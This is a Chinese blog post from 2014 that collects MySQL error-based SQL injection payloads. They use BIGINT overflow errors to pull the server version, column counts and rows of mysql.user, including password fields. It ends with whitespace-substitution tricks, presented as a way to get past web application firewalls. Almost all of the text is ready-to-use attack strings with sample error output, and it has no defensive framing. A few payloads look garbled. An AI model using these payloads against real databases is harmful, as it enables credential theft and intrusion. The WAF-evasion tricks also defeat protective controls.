您的位置:首页 > 数据库 > MySQL

新型mysql报错注入

2014-08-12 15:56 543 查看
新型mysql报错注入,这种报错注入主要是基于mysql中无符号int数据类型的溢出:

1.查询数据库版本:

select 2*(if((select 8 from (select (version()))s),18446744073709551610, 18446744073709551610));=select 1E308*if((select * from (select version())x),2,2)或者=select if(x,2,2)*1E308 from(select version()x)y

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 from Dual), 18446744073709551610.1844674407370955 1610))' 1610))'

2.获取字段名称:

select 2*if((select * from (select * from test.shop)as a limit 1)>(select * from test.shop limit 1),18446744073709551610, 18446744073709551610);=select 1E308*if((select * from(select * from mysql.user) a limit 1)>(select *from
mysql.user limit 1),2,2)

3.获取字段值:

select 2*if((select * from(select * from (mysql.user) limit 1) as a limit 1)<(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),18446744073709551610.1844674407370955 1610);=select 1E308*if((select * from(select * from mysql.user
limit 1)a limit 1)>(select * from mysql.user limit 0),2,2)

可以修改limit后面的参数,来选择报错哪行数据,只要求使用limit只查询一行数据。如报错查询第二行数据:select 1E308*if((select * from(select * from mysql.user limit 1,1)a limit 1)>(select * from mysql.user limit 0),2,2)

需要注意的是该方法并不适用于老版的mysql,在mysql5.5存在。除此之外还需要了解错误信息的长度限制,这将决定可以获取多长的信息

4.获取指定字段的值

select 1E308*if((select user||host||password from (select * from mysql.user limit 1)a limit 1),2,2)

可以修改limit后面的参数,来选择报错哪行数据,只要求使用limit只查询一行数据。如报错查询第二行数据:select 1E308*if((select user||host||password from (select * from mysql.user limit 1,1)a limit 1),2,2)

5.获取字段的个数:

select 1E308*if((select *from mysql.user limit 1)>(select 1),2,2)

6.其他的一些变形语句:

select (i IS NOT NULL) --9223372036854775808 FROM (SELECT version())i)a

select (x!=0x00)--9223372036854775808 FROM (select version()x)y

在mysql中,select后查询字段前的空格可以用+号代替或直接省略掉,其他地方的空格则不能替换。如select host,user from mysql.user 可以换为select+host,user from mysql.user 或者 selecthost,user from mysql.user

select!x-~0.from(select+user()x)f;

select!x-~0.from(select concat(host,user)x from mysql.user limit 1)f;

爆所有行数据:select!x-~0.from(select group_concat(host,user)x from mysql.user)f;只要将查询的数据使用concat或者group_concat合在一起组成一个字段x就可以报错注入了,上面语句中~0后面的.是用来代替空格的,即如果查询语句中查询的参数最后是数字,则可以用.来代替 空格。加上上面说的select后的空格可以用+号来代替,可以构造类似如下的语句来绕过waf等:

select+1.from mysql.user;

select+user,1.from mysql.user;
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: